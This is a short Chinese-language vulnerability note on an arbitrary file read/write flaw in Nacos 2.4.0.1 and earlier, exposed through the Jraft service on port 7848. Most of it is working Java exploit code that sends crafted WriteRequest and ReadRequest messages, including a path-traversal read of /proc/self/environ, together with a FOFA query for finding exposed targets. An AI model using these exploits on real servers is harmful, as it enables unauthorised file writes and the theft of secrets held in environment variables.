Nacos任意文件读写漏洞.md

Nacos任意文件读写漏洞

在Nacos<=2.4.0.1版本中集群模式启动下存在名为naming_persistent_service的Group，该Group所使用的Processor为com.alibaba.nacos.naming.consistency.persistent.impl.PersistentServiceProcessor类型Processor，在进行处理过程中会触发其父类onApply或onRequest方法,这两个方法会分别造成任意文件写入删除和任意文件读取

官方社区公告：https://nacos.io/blog/announcement-nacos-security-problem-file/

漏洞出现在Jraft服务（默认值7848）

fofa

title="Nacos"

任意文件写入

public static void send(String addr, byte[] payload) throws Exception {  
    Configuration conf = new Configuration();  
    conf.parse(addr);  
    RouteTable.getInstance().updateConfiguration("nacos", conf);  
    CliClientServiceImpl cliClientService = new CliClientServiceImpl();  
    cliClientService.init(new CliOptions());  
    RouteTable.getInstance().refreshLeader(cliClientService, "nacos", 1000).isOk();  
    PeerId leader = PeerId.parsePeer(addr);  
    Field parserClasses = cliClientService.getRpcClient().getClass().getDeclaredField("parserClasses");  
    parserClasses.setAccessible(true);  
    ConcurrentHashMap map = (ConcurrentHashMap) parserClasses.get(cliClientService.getRpcClient());  
    map.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());  
    MarshallerHelper.registerRespInstance(WriteRequest.class.getName(), WriteRequest.getDefaultInstance());  
    final WriteRequest writeRequest = WriteRequest.newBuilder().setGroup("naming_persistent_service").setData(ByteString.copyFrom(payload)).setOperation("Write").build();  
    Object o = cliClientService.getRpcClient().invokeSync(leader.getEndpoint(), writeRequest, 5000);  
    System.out.println(o);  
}  

public static void main(String[] args) throws Exception {  
        String address = "192.168.3.153:7848";  
        BatchWriteRequest request = new BatchWriteRequest();  
        request.append("1.txt".getBytes(), "aaaa\n".getBytes());//向/home/nacos/data/naming/data/1.txt写入aaaa  
        JacksonSerializer serializer = new JacksonSerializer();  
        send(address, serializer.serialize(request));   
    }

任意文件读取

public static void send2(String addr, byte[] payload) throws Exception {  
    Configuration conf = new Configuration();  
    conf.parse(addr);  
    RouteTable.getInstance().updateConfiguration("nacos", conf);  
    CliClientServiceImpl cliClientService = new CliClientServiceImpl();  
    cliClientService.init(new CliOptions());  
    RouteTable.getInstance().refreshLeader(cliClientService, "nacos", 1000).isOk();  
    PeerId leader = PeerId.parsePeer(addr);  
    Field parserClasses = cliClientService.getRpcClient().getClass().getDeclaredField("parserClasses");  
    parserClasses.setAccessible(true);  
    ConcurrentHashMap map = (ConcurrentHashMap) parserClasses.get(cliClientService.getRpcClient());  
    map.put("com.alibaba.nacos.consistency.entity.ReadRequest", ReadRequest.getDefaultInstance());  
    MarshallerHelper.registerRespInstance(ReadRequest.class.getName(), ReadRequest.getDefaultInstance());  
    final ReadRequest readRequest = ReadRequest.newBuilder().setGroup("naming_persistent_service").setData(ByteString.copyFrom(payload)).build();  
    Object o = cliClientService.getRpcClient().invokeSync(leader.getEndpoint(), readRequest, 5000);  
    System.out.println(o);  
}  
public static void main(String[] args) throws Exception {  
        bypass();  
        String address = "192.168.3.153:7848";  

        JacksonSerializer serializer = new JacksonSerializer();  
        List byteArrayList = Arrays.asList("../../../../../../proc/self/environ".getBytes());  
        send2(address, serializer.serialize(byteArrayList));  

    }

漏洞来源

• https://forum.butian.net/article/570